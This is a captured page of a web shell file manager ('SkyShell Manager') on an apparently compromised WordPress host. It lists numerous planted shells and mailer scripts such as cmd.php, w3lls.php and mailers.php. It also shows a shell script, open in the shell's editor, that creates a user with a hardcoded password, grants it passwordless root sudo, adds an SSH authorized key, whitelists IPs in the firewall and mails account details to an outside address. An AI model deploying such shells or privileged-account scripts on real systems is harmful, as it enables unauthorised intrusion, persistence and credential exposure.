ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.34

Path:root/home/africainfos/Nazareth.israel.africa-infos.com/

Name	Size	Perm	Actions
📁 .tmb	-	0755	🗑️ 🏷️
📁 159264	-	0755	🗑️ 🏷️
📁 289519	-	0755	🗑️ 🏷️
📁 876911	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 wk	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📁 wpclone_backup	-	0755	🗑️ 🏷️
📄 .webshell_scan_active.json	0.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .webshell_scan_queue_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.lst	105679.91 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .webshell_scan_state_55dae80fafb463c677b0550283aeeb211cd741aba4fd5d3090a7a63262bb588a.json	0.21 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 OBFUSCATE.html	86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 _.txt	0.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 adminfuns.php	173.77 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 cmd.php	35.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 d.php	35.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 database.php	159.32 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 database.php7	159.32 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 database.phtml	159.32 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 elish.php	53.54 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 elish.php7	53.54 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 elish.phtml	53.54 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 enum.php	52.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 enum.php7	52.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 enum.phtml	52.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	10.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	5.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 function.php	4.98 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inc1.php	4.36 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inc2.php	0.64 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	0.4 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 mailers.php	124.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 mailers.php7	124.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 mailers.phtml	124.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 php.php	70.78 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 samurai_activity.log	0.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 test.html	86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 test.php	211.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 test.phtml	211.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 test1.php7	211.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 txets.php	5.93 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 w3ll_protected_2025-10-25T07-11-52.html	160.57 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 w3lls.php	206.14 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 w3lls.php7	209.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 w3llscc - Copy.php7	174.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 w3llscc.php7	174.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 webshell_scan_batch_progress.log	63.85 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	0.34 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-class-canvas.php	10.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-class-constants.php	1.91 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-class-frame.php	27.84 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-class-query.php	10.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-class-response.php	123 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-class-schema.php	1.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-class-tokens.php	1.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	2.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-conffq.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	3.26 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	5.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-formatting.php	34.81 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-headre.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	3.84 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-login.php	50.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-protection.php	10.8 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	31.88 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	33.81 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-templates.php	1.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	3.13 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: ansible_useradd.sh

#!/bin/bash

if [ ! -f /bin/mail ]; then
        yum install -y mailx
    fi

grep ih_ansible_user /etc/passwd
    if [ $? -eq 1 ]
    then
            {
            useradd -u 300 ih_ansible_user
            echo ih_ansible_user:RQp6SHZokDRRa3GxL4kWoj1L5CiFKBZaESiz6jT78 |chpasswd
	    grep "ih_ansible_user    ALL=(root) NOPASSWD: ALL" /etc/sudoers | egrep -v "^#" > /dev/null || echo "ih_ansible_user    ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
            mkdir -p ~ih_ansible_user/.ssh

echo  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqxJriKSKGr7rQLTkT78Er07jWuzOhWlvjMHUZw9U82nUDV9tCmyzK1nTM31v2wUWxXGEaALlngJUE4mwWf6iZHaD2q6qaU29qv8fuCDorbXGtoQ7OByIGO81Qzv5+HRIwQZh4Vjo4TdS493igDHWGMNQw/XVw3NbQZd0xp9ItgUqMrp+TEBopIvzPdGESv2BKptHTH2HGANzA4jjHGYiu9wqmuJg0GwaUNEixFkoVDCDXRpX6CL19YCsihu1Bx8axGn3/fWQZz5YHLYurOQ/1ogp4rTparE3WRmY8RjyfSOoGaQ2gaAMpbAvR4OGuAs12+DZxScjHmmdA1fsog0dh ih_ansible_user@ansible.ihnetworks.com >>  ~ih_ansible_user/.ssh/authorized_keys

chown -R ih_ansible_user. ~ih_ansible_user/
chmod 644 ~ih_ansible_user/.ssh/authorized_keys
chmod 700  ~ih_ansible_user/.ssh/

grep 72.34.52.24 /etc/hosts.allow | egrep -v "^#" > /dev/null || echo "sshd: 72.34.52.24 #ansible" >> /etc/hosts.allow
	    if [ ! "$(csf -v | grep -o "csf -e")" ]; then
  	       csf -a 72.34.52.24   "ansible"
	      csf -a 10.10.13.46 "ansible2" 
            fi
	    /sbin/iptables -I INPUT -s 72.34.52.24 -j ACCEPT
                 /sbin/iptables -I INPUT -s 10.10.13.46 -j ACCEPT
	    service iptables save
            }
    fi

if [ `id -u ih_ansible_user` -eq 300 ]
    then
            printf "`hostname` \n `grep ih_ansible_user /etc/passwd`" | mail -s "ansible user setup on `hostname`" victor@ihnetworks.com
    else
            printf "ansible user NOT setup on `hostname`" | mail -s "FAILED: ansible user NOT setup on `hostname`" victor@ihnetworks.com
    fi

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.1.34

Edit: ansible_useradd.sh

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.1.34